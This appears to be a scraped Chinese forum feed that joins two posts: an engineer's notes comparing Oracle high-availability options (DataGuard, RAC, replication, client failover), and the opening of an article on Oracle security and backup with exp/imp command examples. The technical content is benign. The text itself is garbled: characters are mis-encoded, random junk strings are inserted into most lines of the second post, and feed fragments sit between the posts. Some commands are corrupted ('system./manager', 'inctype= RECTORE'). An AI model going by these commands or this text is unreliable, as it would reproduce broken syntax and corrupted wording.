當(dāng)初說(shuō)是要做XX集團(tuán)的雙機(jī)熱備,因?yàn)槲覒?yīng)用oracle的時(shí)間非常短,對(duì)oracle并不熟悉,所以我這段時(shí)間就搜集了
一些相關(guān)的信息和資料,以供大家參考。
XX集團(tuán)的應(yīng)用我分析了一下,應(yīng)該是不要求24*7連續(xù)工作的,只要能夠及時(shí)恢復(fù)訪問(wèn)即可,而且數(shù)據(jù)量不是太大

而且我原來(lái)讓XX方面做了NAT, 我們?cè)谶@里就可以進(jìn)行遠(yuǎn)端的控制,控制到XX集團(tuán)內(nèi)部的Intranet的個(gè)別服務(wù)器。
我在網(wǎng)上所能搜到的信息是高可用性解決方案分為4種,
一種是oracle提供的被用方法,Standby (=9i DataGuard)
一種是AR (高級(jí)復(fù)制Advanced Replication,在以前版本叫快照snapshot)
一種是oracle 并行服務(wù)器8i的OPS (9i RAC,Real Application Cluster)
一種是第三方HA解決方案 (如Rose HA,故障切換時(shí)間是幾分鐘)
oracle公司的牛人著的里也是
把這4種方法做為高可用方案的組成。
這幾種方案從原理上來(lái)講都很容易理解,但是實(shí)際上有相當(dāng)多的細(xì)節(jié)和問(wèn)題。
另外還有一種是大家都不太熟悉的是oracle 的 failsafe。
failsafe 采用的是SHARE NOTHING結(jié)構(gòu),即采用若干臺(tái)服務(wù)器組成集群,共同連接到一個(gè)共享磁盤系統(tǒng),
在同一時(shí)刻,只有一臺(tái)服務(wù)器能夠訪問(wèn)共享磁盤,能夠?qū)ν馓峁┓⻊?wù).這與第3方HA方案的概念基本一樣。
但是 failsafe系統(tǒng)局限于WINDOWS(winnt,win2k...)平臺(tái),必須配合MSCS(microsoft cluster server).
我在網(wǎng)上找到現(xiàn)成的雙機(jī)熱備的文檔 就是講在 oracle8i上如何做standby. 其保證了始終有一臺(tái)備用的
數(shù)據(jù)庫(kù)能夠在很短時(shí)間內(nèi)通過(guò)人工,恢復(fù)正常的訪問(wèn),并保證數(shù)據(jù)一致。這是不要求24*7連續(xù)工作時(shí)所考慮的方
案。
我們所能做試驗(yàn)的就是前三種方案,因?yàn)槿耸钟邢蓿跃妥隽?i的DataGuard 和RAC 兩種方案的試驗(yàn)。
高級(jí)復(fù)制據(jù)說(shuō)lwd在很久以前做過(guò)。我打電話問(wèn)oracle公司,他說(shuō)AR對(duì)數(shù)據(jù)庫(kù)的性能影響太大。
高級(jí)復(fù)制也分為兩種情況
1.主動(dòng)/被動(dòng)策略: node1處于主動(dòng)模式,數(shù)據(jù)庫(kù)可讀寫,node2處于被動(dòng)模式,數(shù)據(jù)庫(kù)只讀。
2.主動(dòng)/主動(dòng)策略: node1和node2 都處于主動(dòng)模式,數(shù)據(jù)庫(kù)都可讀寫。這種對(duì)數(shù)據(jù)庫(kù)的性能影響特別大。
在講述DataGuard和RAC這兩種方案之前,我先補(bǔ)充一點(diǎn)關(guān)于oracle Client 如何能夠不修改本機(jī)配置就能
訪問(wèn)兩臺(tái)oracles數(shù)據(jù)庫(kù)的方法。
也就是修改本機(jī)的tnsname.ora
一個(gè)通常的tnsname.ora 如下:
RACDB =
(DESCRIPTION =
(LOAD_BALANCE = off)
(failover = on)
(ADDRESS_LIST =
(ADDRESS = (PROTOCOL = TCP)(HOST = 211.68.29.61)(PORT = 1521))
(ADDRESS = (PROTOCOL = TCP)(HOST = 211.68.29.62)(PORT = 1521))
)
(CONNECT_DATA =
(SERVICE_NAME = racdb)
)
)
在 ADDRESS_LIST 中 寫了兩個(gè)地址,client 通過(guò)oracle net 在訪問(wèn)時(shí),如果訪問(wèn)不通第一個(gè)ip,就會(huì)訪問(wèn)第2個(gè)
ip.
這個(gè)特性是早就有了的。load_balance 特性也是有的。但是在兩臺(tái)數(shù)據(jù)庫(kù)內(nèi)容不一致的情況下是沒(méi)有任何意義的
。
不過(guò),在oracle9i 的官方pdf中,load_balance 特性是不推薦使用的。
RAC 的試驗(yàn)我昨天已經(jīng)做成了,雖然遇到了一些不大不小的Bug和不穩(wěn)定現(xiàn)象。
環(huán)境是oracle9.2.0.1.0 , 2* RedHatAdvanceServer 2.1 和一個(gè)磁盤陣列, 采用的是裸設(shè)備。
RAC 是share everything 模式,兩個(gè)數(shù)據(jù)庫(kù)實(shí)例同時(shí)共享同一套數(shù)據(jù)文件,控制文件,日志文件。
客戶端可以同時(shí)訪問(wèn)這兩臺(tái)數(shù)據(jù)庫(kù)得到的數(shù)據(jù)都是一致的,它的重點(diǎn)是高性能,可擴(kuò)展性。但是可靠性是不如Data
Guard的。
因?yàn)槭紫仍谖锢砩鲜沁B接在一起的,是沒(méi)法容災(zāi)的。
其次,instance1 死掉的話,可能可能影響instance2。
(Oracle 公司的電話支持說(shuō)的, 以及網(wǎng)上的論壇中有相關(guān)的例子,一個(gè)實(shí)例down機(jī)拖累另一臺(tái)不能正常工作,
我在做RAC試驗(yàn)的時(shí)候,也出現(xiàn)了node1 重起,造成node2也重起的個(gè)別現(xiàn)象)
當(dāng)然了,與單機(jī)的oracle相比,可用性肯定是高的。
另外網(wǎng)上我所能找得到的RAC成功案例(論壇oracle版主之類實(shí)施),無(wú)一例外都是oracle經(jīng)過(guò)認(rèn)證的服務(wù)器硬件和
軟件.
例如HP,DELL PowerEdge服務(wù)器。DELL/EMC fiber-channel storage array 等等。
另外,因?yàn)闆](méi)有多余交換機(jī),4塊網(wǎng)卡中的進(jìn)行內(nèi)部通信用的兩塊網(wǎng)卡我采用的是直接級(jí)聯(lián)
(新聚思公司的oracle支持說(shuō)這樣不穩(wěn)定,但是為什么不穩(wěn)定也沒(méi)有說(shuō)原因)
有關(guān)共享文件系統(tǒng)的一些問(wèn)題:
采用裸設(shè)備無(wú)法進(jìn)行日常管理,也沒(méi)有辦法進(jìn)行文件系統(tǒng)級(jí)的備份。
開(kāi)始我第一次在Mandrake8.1的時(shí)候,對(duì)陣列進(jìn)行分區(qū),而fdisk在linux下只能分16個(gè)分區(qū),我只好采用
lvm(logical volume manager,支持256個(gè))對(duì)裸設(shè)備進(jìn)行管理。后來(lái)在dbca創(chuàng)建數(shù)據(jù)庫(kù)的最后階段無(wú)法創(chuàng)建,只
好作罷。
第二次用RedHat AS2.1,oracle網(wǎng)站新推出了針對(duì)ocfs,我將其2003-1-3 更新的有關(guān)ocfs的所有rpm包(只適用
于AS2.1)安裝上,但是卻發(fā)現(xiàn)無(wú)法正常加載ocfs module, 我查了好久,估計(jì)這與我們所用的世紀(jì)曙光硬件有關(guān)
,
采用的AMD雙Athlon MP 1800+ 以及相關(guān)主機(jī)硬件,RedHat AS 2.1 無(wú)法正常認(rèn)出,從而造成ocfs modules也無(wú)法
正常加載,因?yàn)閛cfs modules與kernel是相關(guān)的�;蛟S換成intel 的雙cpu, 或換成單cpu ,然后重裝系統(tǒng)就可以
解決。
因?yàn)閞hAS2.1的內(nèi)核不支持 lvm, 需要重新編譯內(nèi)核才能支持,我只好 將磁盤陣列分成2個(gè)drive,分別進(jìn)行了
分區(qū),跳過(guò)了fdisk分區(qū)數(shù)量限制,給oracle提供了足夠多的裸分區(qū)。
當(dāng)初做方案時(shí)買的vertris 的冷備份軟件(大概10萬(wàn)元)是只能在oracle停機(jī)時(shí)通過(guò)smb來(lái)copy 文件進(jìn)行備份到磁
帶里的。
而裸設(shè)備是沒(méi)有辦法copy 的。
客戶端在tnsname.ora配好address_list后,
當(dāng)nodeA 停機(jī)時(shí),是可以不用修改配置訪問(wèn)到nodeB 的。
但是這也分很多種情況
nodeA down,
listenerA down,
InstanceA down,
InstanceA in indeterminate state,
session die等等。
并非每種情況都能實(shí)現(xiàn)自動(dòng)轉(zhuǎn)到node2上。
第三方HA軟件是靠自己的agent軟件檢測(cè)模塊按照自己的故障判斷標(biāo)準(zhǔn)進(jìn)行強(qiáng)制轉(zhuǎn)換的。第一臺(tái)肯定不會(huì)被訪問(wèn)到

在幾分鐘之后所有的訪問(wèn)都會(huì)訪問(wèn)到第二臺(tái)剛剛起來(lái)的數(shù)據(jù)庫(kù)上。
oracle 要想實(shí)現(xiàn)與第三方HA軟件一樣的功能,只能與microsoft cluster server一起 在windows平臺(tái)
上實(shí)現(xiàn)failover.
除此之外,oracle本身的幾種High Available 方案是不提供與此類似的自動(dòng)failover功能的。
RAC提供并行;
standby/dataguard提供熱備份服務(wù)器(需要人工維護(hù)切換);
AR 可以基本實(shí)時(shí)提供兩臺(tái)數(shù)據(jù)一致的數(shù)據(jù)庫(kù),但是數(shù)據(jù)庫(kù)性能受影響。而且客戶端能否在各種各樣的情況下都自
動(dòng)
切換到第二臺(tái)數(shù)據(jù)庫(kù)上我也不知道。(例如listener running, instance down時(shí)無(wú)法切換到第二臺(tái))
主數(shù)據(jù)庫(kù)發(fā)生災(zāi)難,無(wú)法訪問(wèn)的情況下應(yīng)該是能夠切換的,但是有些情況下,只需要修改
tnsname.ora或者停掉node1的listener即可。
以前曾經(jīng)有人在職成網(wǎng)做過(guò) RoseHA+oracle817+Turbolinux的集成方案, 據(jù)說(shuō)效果也非常差。我所看到我們這里
的人去職成網(wǎng)
進(jìn)行維護(hù)N多次。(N非常大) 所以在集成方案中如果用到了oracle數(shù)據(jù)庫(kù),就準(zhǔn)備好有人長(zhǎng)期進(jìn)行維護(hù),主數(shù)據(jù)庫(kù)
在萬(wàn)一情況下發(fā)生災(zāi)難,只要有一臺(tái)熱的備用數(shù)據(jù)庫(kù)能夠在比較短(電話通知之后1天之內(nèi))的時(shí)間內(nèi)繼續(xù)投入使用
就達(dá)到了可用性的目的,不至于主數(shù)據(jù)庫(kù)損壞,重新進(jìn)行安裝恢復(fù)占用星期級(jí)的時(shí)間。
要想達(dá)到failover自動(dòng)切換,無(wú)需人的參予是一種理想化狀態(tài),在unix平臺(tái)上無(wú)法實(shí)現(xiàn),windows平臺(tái)上的oracle
failover
我不太清楚,應(yīng)該是能實(shí)現(xiàn)這個(gè)想法的。
standby備用數(shù)據(jù)庫(kù) 是在oracle7.x才開(kāi)始提供的一項(xiàng)功能,到了oracle8i才能提供read only模式,
到了9i 才使日志應(yīng)用等實(shí)現(xiàn)了自動(dòng)化,但是這個(gè)自動(dòng)化不是故障切換自動(dòng)化,而是只為了實(shí)現(xiàn)熱備份數(shù)據(jù)庫(kù)的功
能完善而
增加的一些自動(dòng)化。 歸根到底,oracle公司開(kāi)發(fā)這么久,還沒(méi)有開(kāi)發(fā)完善這些高可用方案,只是一直處于完善階
段。
RAC的并行提供服務(wù)我從一些oracle技術(shù)支持那里聽(tīng)來(lái)的說(shuō)法也是最好一臺(tái)用來(lái)做讀寫,另一臺(tái)專門提供只讀操作
的查詢,
不然仍然影響性能。用來(lái)做我們這種failover應(yīng)用的倒不多。
很容易理解的一些稍微復(fù)雜的原理,要想在實(shí)際中應(yīng)用是需要大量時(shí)間的,里面所涉及到的眾多細(xì)節(jié)如日志增量
等等很麻煩。
就連oracle9.0.0.1在linux下的OUI(oracle univesal installer)
安裝程序在它認(rèn)證的linux上運(yùn)行也是一堆Bug.
也就是它的jre有毛病,所以我當(dāng)初在mandrake8.1上創(chuàng)建數(shù)據(jù)庫(kù)出現(xiàn)了問(wèn)題,無(wú)法進(jìn)行下去。
特定的環(huán)境,特定的問(wèn)題,很多都是沒(méi)有解釋的。這是網(wǎng)上的一個(gè)DBA的原話。
網(wǎng)上也有oracle81700升級(jí)到81740就出故障的案例。

使用DataGuard(standby) 是不能實(shí)現(xiàn)故障的自動(dòng)切換的,因?yàn)閾?jù)oracle公司的人說(shuō)無(wú)從判斷究竟算什么樣的故障
才開(kāi)始進(jìn)行轉(zhuǎn)移,
這個(gè)已經(jīng)超出oracle軟件本身的范圍了。或許可以通過(guò)自己編寫程序來(lái)按照自己的標(biāo)準(zhǔn)來(lái)進(jìn)行判斷和轉(zhuǎn)移。
但是DataGuard做到了始終有一臺(tái)數(shù)據(jù)庫(kù)與主數(shù)據(jù)庫(kù)保持一致。在加上客戶端的tnsname.ora的addresslist在一定
程度上
是可以實(shí)現(xiàn)部分的故障切換的。
備數(shù)據(jù)庫(kù)平時(shí)只能處于read only或 recovery manage 模式。
read only 不能應(yīng)用主數(shù)據(jù)庫(kù)傳來(lái)的重作日志,recovery manage 可以進(jìn)行數(shù)據(jù)恢復(fù),但是不能被客戶端訪問(wèn)。
備用數(shù)據(jù)庫(kù)經(jīng)常處于修復(fù)狀態(tài),因此不能被終端用戶使用,這從管理角度是一種浪費(fèi)(所以8i開(kāi)始提供了read
only模式)。
我的想法是
1. 主數(shù)據(jù)庫(kù)發(fā)生災(zāi)難,被迫關(guān)閉,XX方面打電話通知過(guò)來(lái),我們通過(guò)遠(yuǎn)程由人工激活備用的數(shù)據(jù)庫(kù)即可。也就是
敲幾行sql命令即可。
完全可以寫成腳本,隨便找一個(gè)人執(zhí)行一下即可。
2. 備數(shù)據(jù)庫(kù)白天處于read only 模式,可供webserver(也就是客戶端)查詢,晚上12點(diǎn)到1點(diǎn)通過(guò)cron
運(yùn)行在recover managed模式,
將白天主數(shù)據(jù)庫(kù)的更改應(yīng)用到備數(shù)據(jù)庫(kù)上。
3. 通過(guò)cron將備數(shù)據(jù)庫(kù)白天處于 primary 模式,可讀可寫,晚上通過(guò)腳本改回standby模式,并且應(yīng)用主數(shù)據(jù)庫(kù)
的更新。
這樣當(dāng)主數(shù)據(jù)庫(kù)down機(jī),客戶端會(huì)立刻連到第二臺(tái)數(shù)據(jù)庫(kù)上,同時(shí)也能夠進(jìn)行讀寫。數(shù)據(jù)分歧只有一天,并且達(dá)
到了無(wú)人
切換狀態(tài)。
這3種方法,第1種是最好的。
第2種是可行的,是oracle官方認(rèn)可的,有數(shù)據(jù)分歧,和只讀的局限性。
第3種有數(shù)據(jù)分歧并且有或大或小的細(xì)節(jié)問(wèn)題沒(méi)有考慮,只是我的一個(gè)臨時(shí)想法。
在RAC 和 DataGuard 這兩種方案中,
RAC對(duì)硬件和操作系統(tǒng)要求都比較高,維護(hù)也非常復(fù)雜,我們買的vertas 備份軟件也沒(méi)有辦法使用冷備的文件。
對(duì)人員的素質(zhì)要求也很高。
隨便舉個(gè)例子,RedHat AS 2.1 如果認(rèn)不出SCSI driver,就沒(méi)法做了。因?yàn)閛racle9.2i只能用這個(gè)操作系統(tǒng)。
( webmail沒(méi)有用mandrake8.1而是用mandrake8.2就是這個(gè)原因)
不確定因素太多。
在做系統(tǒng)集成方案和買硬件時(shí)都要仔細(xì)考慮,買什么樣的服務(wù)器,陣列,網(wǎng)卡,幾個(gè)交換機(jī),linuxAS21能否裝上
等等。
而不是隨便寫個(gè)雙機(jī)熱備,買兩個(gè)服務(wù)器,一個(gè)交換機(jī)就行了。
不過(guò)這個(gè)方案可以用在我們自己的機(jī)房里,提供高性能的oracle數(shù)據(jù)庫(kù)服務(wù)。(但是需要比較多的時(shí)間來(lái)準(zhǔn)備和調(diào)
試)。
我現(xiàn)在只能做到把oracle92i裝起來(lái),具體平時(shí)的管理還要靠有數(shù)據(jù)庫(kù)使用經(jīng)驗(yàn)的其他同事來(lái)做。
安裝文檔我放在附件里了。
]]>
Oracle安全數(shù)據(jù)系統(tǒng)架構(gòu)全接觸http://www.brpp.cn/bbs/dispbbs.asp?BoardID=65&ID=2494&Page=1wangxinxin2010-12-11 10:46:03網(wǎng)絡(luò)的發(fā)展,數(shù)據(jù)庫(kù)已經(jīng)不再僅僅是那些程序員所專有的話題。而Oracle數(shù)據(jù)庫(kù)更是憑借其性能卓越,操作方便靈活的特點(diǎn),在數(shù)據(jù)庫(kù)的市場(chǎng)中已經(jīng)占據(jù)了一席之地。但是同樣隨著網(wǎng)絡(luò)技術(shù)的不斷進(jìn)步,數(shù)據(jù)信息的不斷增加,數(shù)據(jù)安全已經(jīng)不再是以前的“老生長(zhǎng)談”,也更不是以前書本上那些“可望不可及”的條條框框。   或許很久以前,大家都覺(jué)得Oracle數(shù)據(jù)庫(kù)的安全并不存在隱患,因?yàn)镺racle公司在去年11月份開(kāi)始促銷其數(shù)據(jù)庫(kù)軟件時(shí)提出的口號(hào)是“只有Oracle9i能夠做到絕對(duì)安全”。但是不管它這么說(shuō)是為了促銷,還是為了擴(kuò)大知名度,總之伴去年12 月份,英國(guó)的安全專家 David Litchfield 發(fā)現(xiàn)的9iAS 中存在的程序錯(cuò)誤導(dǎo)致的緩沖溢出漏洞以及后來(lái),PenTest Limited 和 eEye Digital Security 各自提出了一個(gè)小的漏洞,所有使用Oracle公司產(chǎn)品的人都不由地緊張了原本松弛的大腦--這個(gè)對(duì)于用戶來(lái)說(shuō),畢竟關(guān)系到了自己的“身家性命”。/ f. S) s+ B. K* m# G2 K
  下面筆者將帶著大家走進(jìn)Oracle數(shù)據(jù)安全的世界。由于筆者水平有限,所以不足之處在所難免,望大家不吝賜教。4 F4 l1 d7 c& u
  (一)Oracle數(shù)據(jù)庫(kù)的一些基本常識(shí)# H( d, J; _& Q* x- }6 }
  這里僅僅是為了以后的安全奠定一些基礎(chǔ),因?yàn)槲覀兒竺嬉玫剿鼈儭?br/>) e4 A2 J5 j( a; y3 o  1.Oracle所包含的組件:
( k' I! ?' c% u2 w1 [  在 Oracle,數(shù)據(jù)庫(kù)是指整個(gè) Oracle RDBMS 環(huán)境,它包括以下組件:
  f6 I5 L; ^8 Y  ·Oracle 數(shù)據(jù)庫(kù)進(jìn)程和緩沖(實(shí)例)。: a& @0 Z1 G: H& }2 z3 k
  ·SYSTEM 表空間包含一個(gè)集中系統(tǒng)類目,它可以由一個(gè)或多個(gè)數(shù)據(jù)文件構(gòu)成。" _7 `% C, c  x8 F) p
  ·其它由數(shù)據(jù)庫(kù)管理員 (DBA)(可選)定義的表空間,每個(gè)都由一個(gè)或多個(gè)數(shù)據(jù)文件構(gòu)成。
( D+ H4 s& ?0 O" l  ·兩個(gè)以上的聯(lián)機(jī)恢復(fù)日志。
  k) y9 {( |7 N7 w  A' p  ·歸檔恢復(fù)日志(可選)。1 h4 Y" ]; n1 c/ x/ N  g
  ·其它文件(控制文件、Init.ora、Config.ora 等)。1 _8 D1 R' j- X$ b! Z
  每個(gè) Oracle 數(shù)據(jù)庫(kù)都在一個(gè)中央系統(tǒng)類目和數(shù)據(jù)字典上運(yùn)行,它位于SYSTEM 表空間。
2 ?7 e) o. J9 ]. |' K  2.關(guān)于“日志”: r: w2 d1 H$ R; F5 q
  Oracle數(shù)據(jù)庫(kù)使用幾種結(jié)構(gòu)來(lái)保護(hù)數(shù)據(jù):數(shù)據(jù)庫(kù)后備、日志、回滾段和控制文件。下面我們將大體上了解一下作為主要結(jié)構(gòu)之一的“日志”:& |. {! }* [! o1 ^/ x( y0 j" _' r
  每一個(gè)Oracle數(shù)據(jù)庫(kù)實(shí)例都提供日志,記錄數(shù)據(jù)庫(kù)中所作的全部修改。每一個(gè)運(yùn)行的Oracle數(shù)據(jù)庫(kù)實(shí)例相應(yīng)地有一個(gè)在線日志,它與Oracle后臺(tái)進(jìn)程LGWR一起工作,立即記錄該實(shí)例所作的全部修改。歸檔(離線)日志是可選擇的,一個(gè)Oracle數(shù)據(jù)庫(kù)實(shí)例一旦在線日志填滿后,可形成在線日志歸檔文件。歸檔的在線日志文件被唯一標(biāo)識(shí)并合并成歸檔日志。
7 F. n; f, n6 Z* C  ·關(guān)于在線日志:一個(gè)Oracle數(shù)據(jù)庫(kù)的每一實(shí)例有一個(gè)相關(guān)聯(lián)的在線日志。一個(gè)在線日志由多個(gè)在線日志文件組成。在線日志文件(online redo log file)填入日志項(xiàng)(redo entry),日志項(xiàng)記錄的數(shù)據(jù)用于重構(gòu)對(duì)數(shù)據(jù)庫(kù)所作的全部修改。1 q& `; X. |, j
  ·關(guān)于歸檔日志:Oracle要將填滿的在線日志文件組歸檔時(shí),則要建立歸檔日志(archived redo log)。其對(duì)數(shù)據(jù)庫(kù)備份和恢復(fù)有下列用處:
, [9 a& p- h* u* ^6 M  <1>數(shù)據(jù)庫(kù)后備以及在線和歸檔日志文件,在操作系統(tǒng)和磁盤故障中可保證全部提交的事物可被恢復(fù)。
) e5 u8 A( C4 C/ i/ g" \: e" c  <2>在數(shù)據(jù)庫(kù)打開(kāi)和正常系統(tǒng)使用下,如果歸檔日志是永久保存,在線后備可以進(jìn)行和使用。
; I$ ^* \0 l% C' @$ ^% x; t  數(shù)據(jù)庫(kù)可運(yùn)行在兩種不同方式下:NOARCHIVELOG方式或ARCHIVELOG 方式。數(shù)據(jù)庫(kù)在NOARCHIVELOG方式下使用時(shí),不能進(jìn)行在線日志的歸檔。如果數(shù)據(jù)庫(kù)在ARCHIVELOG方式下運(yùn)行,可實(shí)施在線日志的歸檔。# s5 z) u; _9 B! j2 M' Q9 A* T% c" \
  3.物理和邏輯存儲(chǔ)結(jié)構(gòu):  a) J5 I  y4 F( F4 O
  Oracle RDBMS是由表空間組成的,而表空間又是由數(shù)據(jù)文件組成的。表空間數(shù)據(jù)文件被格式化為內(nèi)部的塊單位。塊的大小,是由DBA在Oracle第一次創(chuàng)建的時(shí)候設(shè)置的,可以在512到8192個(gè)字節(jié)的范圍內(nèi)變動(dòng)。當(dāng)一個(gè)對(duì)象在Oracle表空間中創(chuàng)建的時(shí)候,用戶用叫做長(zhǎng)度的單位(初始長(zhǎng)度((initial extent)、下一個(gè)長(zhǎng)度(next extent)、最小長(zhǎng)度(min extents)、以及最大長(zhǎng)度(max extents))來(lái)標(biāo)明該對(duì)象的空間大小。一個(gè)Oracle長(zhǎng)度的大小可以變化,但是要包含一個(gè)由至少五個(gè)連續(xù)的塊構(gòu)成的鏈。; Z% |* U; q) T9 c# \
  4.Oracle與Microsoft SQL Server比較下的聯(lián)網(wǎng)協(xié)議:
3 z- x, H2 n1 G7 O! K# d  (二)Oracle數(shù)據(jù)安全的維護(hù)0 k: W: D4 A, I' e) ~. y
  記得某位哲學(xué)家說(shuō)過(guò):“事物的變化離不開(kāi)內(nèi)因和外因。”那么對(duì)于Oracle數(shù)據(jù)安全這個(gè)話題而言,也勢(shì)必分為“內(nèi)”和“外”兩個(gè)部分。那么好,我們就先從“內(nèi)”開(kāi)始說(shuō)起:. x' A9 J  Q& U5 L
  §1.從Oracle系統(tǒng)本身說(shuō)起
3 w5 _) r+ G. x' b# M  t5 Y5 d( Y  我們先拋開(kāi)令人聞風(fēng)色變的“hacker”和其他一些外部的原因,先想一下我們的數(shù)據(jù)庫(kù)。什么硬盤損壞,什么軟件受損,什么操作事物……一系列由于我們的“疏忽”而造成的系統(tǒng)問(wèn)題就完全可以讓我們辛苦建立的數(shù)據(jù)庫(kù)中的數(shù)據(jù)一去不復(fù)返。那么,我們就先從自己身上找找原因吧。0 O5 `" y+ L& s# a
  【一】解決系統(tǒng)本身問(wèn)題的方法--數(shù)據(jù)庫(kù)的備份及恢復(fù)
5 P' n9 A. u- _5 _* t+ ?  ·數(shù)據(jù)庫(kù)的備份:
& U, w! H0 |4 ?& l! ^8 i. l  關(guān)于Oracle數(shù)據(jù)庫(kù)的備份,標(biāo)準(zhǔn)地有三中辦法:導(dǎo)出/導(dǎo)入(Export/Import)、冷備份、熱備份。導(dǎo)出備份是一種邏輯備份,冷備份和熱備份是物理備份。/ m. {* O+ I5 M/ X
  <1>導(dǎo)出/導(dǎo)入(Export/Import)4 X: Z5 m4 S4 T( G
  利用Export可將數(shù)據(jù)從數(shù)據(jù)庫(kù)中提取出來(lái),利用Import則可將提取出來(lái)的數(shù)據(jù)送回Oracle數(shù)據(jù)庫(kù)中去。6 y, B* C% }8 f+ @) p
  a.簡(jiǎn)單導(dǎo)出數(shù)據(jù)(Export)和導(dǎo)入數(shù)據(jù)(Import)1 x& ?9 Z) [$ @+ }% B
  Oracle支持三種類型的輸出:
7 [9 z0 ~, ?: r' W$ w  (1)表方式(T方式),將指定表的數(shù)據(jù)導(dǎo)出。
! |5 z  J( }0 L3 m" B& U  (2)用戶方式(U方式),將指定用戶的所有對(duì)象及數(shù)據(jù)導(dǎo)出。: s+ a" r7 U' J" C5 p
  (3)全庫(kù)方式(Full方式),將數(shù)據(jù)庫(kù)中的所有對(duì)象導(dǎo)出。
" d' j# E. I' j% c  數(shù)據(jù)導(dǎo)出(Import)的過(guò)程是數(shù)據(jù)導(dǎo)入(Export)的逆過(guò)程,它們的數(shù)據(jù)流向不同。
6 V, j7 @% C+ S, }! H  ?, W4 L/ N4 u  b.增量導(dǎo)出/導(dǎo)入2 l" A% u) i$ m- F  T5 ?
  增量導(dǎo)出是一種常用的數(shù)據(jù)備份方法,它只能對(duì)整個(gè)數(shù)據(jù)庫(kù)來(lái)實(shí)施,并且必須作為SYSTEM來(lái)導(dǎo)出。在進(jìn)行此種導(dǎo)出時(shí),系統(tǒng)不要求回答任何問(wèn)題。導(dǎo)出文件名缺省為export.dmp,如果不希望自己的輸出文件定名為export.dmp,必須在命令行中指出要用的文件名。
/ C& h* K- M) R, B  增量導(dǎo)出包括三個(gè)類型:, v- I# V3 }0 E, O
  (1)“完全”增量導(dǎo)出(Complete)6 r. z- x! e. D# X
  即備份整個(gè)數(shù)據(jù)庫(kù),比如:
5 x; E+ j7 K, d  {$ q) j  $exp system/manager inctype=complete file=990702.dmp. `* o) V: ^: N9 i
  (2)“增量型”增量導(dǎo)出4 _% A+ H9 T; I% C9 W7 m4 |
  備份上一次備份后改變的數(shù)據(jù)。比如:! O8 c* y. V6 o( L1 v
  $exp system/manager inctype=incremental file=990702.dmp5 O6 z) y& S% x  r8 @3 N' i
  (3)“累計(jì)型”增量導(dǎo)出(Cumulative)
+ C0 W. A( D. v8 b- l+ n  累計(jì)型導(dǎo)出方式只是導(dǎo)出自上次“完全” 導(dǎo)出之后數(shù)據(jù)庫(kù)中變化了的信息。比如:1 ]1 b* b8 j& G% ^  @3 D/ Z% g
  $exp system/manager inctype=cumulative file=990702.dmp
9 u$ `: X6 A- O  數(shù)據(jù)庫(kù)管理員可以排定一個(gè)備份日程表,用數(shù)據(jù)導(dǎo)出的三個(gè)不同方式合理高效地完成。比如數(shù)據(jù)庫(kù)的備份任務(wù)可作如下安排:- J- K# X' I$ M8 d) r) h/ j
  ·星期一:完全導(dǎo)出(A)
3 c& d. m6 l! }/ _" Y, Y2 M  F  ·星期二:增量導(dǎo)出(B)
7 h6 q3 r7 z+ J: w1 W( r5 l  ·星期三:增量導(dǎo)出(C)
. a1 b2 U8 j" g( `3 |  ·星期四:增量導(dǎo)出(D)
9 v! n1 K& i1 N* N& d) x- L$ I6 U  ·星期五:累計(jì)導(dǎo)出(E)# b! [! A( X0 S
  ·星期六:增量導(dǎo)出(F)
" ~$ T! r6 N# T, Z6 H  ·星期日:增量導(dǎo)出(G), U  s/ m" P1 w+ Y& n
  如果在星期日,數(shù)據(jù)庫(kù)遭到意外破壞,數(shù)據(jù)庫(kù)管理員可按以下步驟來(lái)恢復(fù)數(shù)據(jù)庫(kù):
0 F( N! ?; v0 X  O0 c  第一步:用命令CREATE DATABASE重新生成數(shù)據(jù)庫(kù)結(jié)構(gòu);
2 y1 t3 o2 c( f: S6 t  S$ |  第二步:創(chuàng)建一個(gè)足夠大的附加回段。, |2 T4 z" h: S2 w: p, e
  第三步:完全增量導(dǎo)入A:
' T1 ^4 N/ @7 v" Y: N; O  $imp system./manager inctype= RECTORE FULL=Y FILE=A5 ]2 b5 R0 j* }3 A, E3 l
  第四步:累計(jì)增量導(dǎo)入E:
$ P( L* g% g9 [2 Q$ \7 B! q! k: `  $imp system/manager inctype= RECTORE FULL=Y FILE =E
) D. q" `2 f$ n2 S4 P% S  第五步:最近增量導(dǎo)入F:
/ {0 T0 c! e, r- a' ]$ B* }' ?' y  $imp system/manager inctype=RESTORE FULL=Y FILE=F5 l& u1 V3 `2 ~& J! \
  <2>冷備份' ]. d+ {4 ]) B+ b! G& f* U8 r
  冷備份發(fā)生在數(shù)據(jù)庫(kù)已經(jīng)正常關(guān)閉的情況下,當(dāng)正常關(guān)閉時(shí)會(huì)提供給我們一個(gè)完整的數(shù)據(jù)庫(kù)。冷備份是將關(guān)鍵性文件拷貝到另外位置的一種說(shuō)法。對(duì)于備份Oracle信息而言,冷備份是最快和最安全的方法。冷備份的優(yōu)點(diǎn)是:' h* P- x8 M# s( Z
  ·是非常快速的備份方法(只需拷貝文件): \9 _0 }1 x4 c3 q% j
  ·容易歸檔(簡(jiǎn)單拷貝即可); L! ^* N, K7 f- E3 q
  ·容易恢復(fù)到某個(gè)時(shí)間點(diǎn)上(只需將文件再拷貝回去)5 Y$ F0 D3 a  A/ \! e5 Z
  ·能與歸檔方法相結(jié)合,作數(shù)據(jù)庫(kù)“最新?tīng)顟B(tài)”的恢復(fù)。
& f3 k9 m2 ~' F1 H( C) K  ·低度維護(hù),高度安全。
( W2 M8 a( X. S& O5 Y  但冷備份也有如下不足:
4 H& E$ T0 @+ O: v! }# L  ·單獨(dú)使用時(shí),只能提供到“某一時(shí)間點(diǎn)上”的恢復(fù)。
+ W) q8 E1 ~. C3 ]  ·在實(shí)施備份的全過(guò)程中,數(shù)據(jù)庫(kù)必須要作備份而不能作其它工作。也就是說(shuō),在冷備份過(guò)程中,數(shù)據(jù)庫(kù)必須是關(guān)閉狀態(tài)。* d# l/ N' k) \
  ·若磁盤空間有限,只能拷貝到磁帶等其它外部存儲(chǔ)設(shè)備上,速度會(huì)很慢。) ?; ~  [( k! g0 }0 O( B
  ·不能按表或按用戶恢復(fù)。, z% w1 h) O/ S/ F
  如果可能的話(主要看效率),應(yīng)將信息備份到磁盤上,然后啟動(dòng)數(shù)據(jù)庫(kù)(使用戶可以工作)并將所備份的信息拷貝到磁帶上(拷貝的同時(shí),數(shù)據(jù)庫(kù)也可以工作)。冷備份中必須拷貝的文件包括:! [8 ]% J8 J% F$ s& F* _! t6 ~, U" I
  ·所有數(shù)據(jù)文件! |3 Q! [) z" k' e, B  ^# u
